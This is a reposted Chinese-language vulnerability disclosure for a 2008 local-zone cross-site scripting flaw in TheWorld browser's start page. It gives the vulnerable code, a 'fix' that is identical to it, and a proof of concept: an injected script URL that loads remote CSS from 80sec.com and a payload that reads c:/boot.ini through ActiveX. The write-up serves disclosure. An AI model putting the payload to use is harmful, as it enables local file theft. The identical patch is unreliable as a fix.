世界之窗等浏览器本地xss跨域漏洞POC 's

admin 2017年4月17日17:53:19评论307 views字数 2114阅读7分2秒阅读模式
摘要

漏洞说明:http://www.80sec.com/360-sec-browser-localzone-xss.html
文档来源:http://www.80sec.com/release/The-world-browser-locale-zone-xss-POC.txt

漏洞说明:http://www.80sec.com/360-sec-browser-localzone-xss.html
文档来源:http://www.80sec.com/release/The-world-browser-locale-zone-xss-POC.txt

漏洞分析:世界之窗浏览器在起始页面是以res://E:/PROGRA~1/THEWOR~1.0/languages/chs.dll /TWHOME.HTM的形式来处理的,而由于缺乏对res协议安全的必要控制,导致页面的权限很高,而该页面中存在的一个xss问题将导致本地跨域漏 洞,简单分析如下:

<script language="JavaScript"> var nOldCount = 0; for( i = 0; i < g_nCountOld; i ++ ) { str_url = g_arr_argUrlOld[i]; str_name = g_arr_argNameOld[i];


str_td = “<tr ID=’twOldItem” + i +”‘><td valign=’top’ width=’64′><div align=’right’><a style=’cursor:hand’ title=’删除当前项’ onclick=/”javascript:tw_DeleteItemOld(’”+i+”‘);/”>” + “<img border=’0′ src=’twpage_delete.gif’ width=’16′ height=’16′></div></a></td>”;
document.write( str_td );

str_td = “<td><a target=’_blank’ href=’” + str_url + “‘>” + str_name + “</a></td></tr>”;
document.write( str_td );
nOldCount = i;
g_bHasLastUrl = true;
}

</script>

str_name和str_url不经过滤地直接输出,由于该页面处于本地安全区域,所以拥有很高的权限,可以做很多跨域操作,包括读取文件和运行本地程序。

漏洞修补:

<script language="JavaScript"> var nOldCount = 0; for( i = 0; i < g_nCountOld; i ++ ) { str_url = g_arr_argUrlOld[i]; str_name = g_arr_argNameOld[i];

str_td = “<tr ID=’twOldItem” + i +”‘><td valign=’top’ width=’64′><div align=’right’><a style=’cursor:hand’ title=’删除当前项’ onclick=/”javascript:tw_DeleteItemOld(’”+i+”‘);/”>” + “<img border=’0′ src=’twpage_delete.gif’ width=’16′ height=’16′></div></a></td>”;
document.write( str_td );

str_td = “<td><a target=’_blank’ href=’” + str_url + “‘>” + str_name + “</a></td></tr>”;
document.write( str_td );
nOldCount = i;
g_bHasLastUrl = true;
}

</script>

已经用js控制DOM显示了

漏洞演示:这里提供测试方法可以读取c:/boot.ini

1 打开如下地址:

sc:h’><script>alert(document.write(unescape(”%3CLINK%20REL%3D%22stylesheet%22%20HREF%3D%22http%3A%2f%2fwww.80sec.com/1.css%22%3E”)))</script>

2 上面将导致一个不可访问的页面,然后直接关闭tw浏览器( 没有好的办法crash,死循环? 世界之窗等浏览器本地xss跨域漏洞POC  's

3 重新打开tw浏览器,可以发现http://www.80sec.com/1.css中的内容被解析,并且有本地域的权限。

1.css内容,换成其他js代码一样执行

 body { background-image: url('javascript:alert(document.location);xmlhttp=new ActiveXObject("Msxml2.XMLHTTP.3.0");xmlhttp.open("GET","c:/boot.ini",false);xmlhttp.send();alert(xmlhttp.responseText);') } 

漏洞状态:

2008-06-24通知厂商
2008-06-25修补

http://www.ioage.com/cnnew/uplog.htm
他们修复了一些隐性bug

其他浏览器如极速浏览器也可能存在问题:)

本站内容均为原创,转载请务必保留署名与链接!
世界之窗等浏览器本地xss跨域漏洞POC:http://www.80sec.com/tw-local-zone-xss-poc.html

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2017年4月17日17:53:19
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   世界之窗等浏览器本地xss跨域漏洞POC 'shttps://cn-sec.com/archives/45172.html

发表评论

匿名网友 填写信息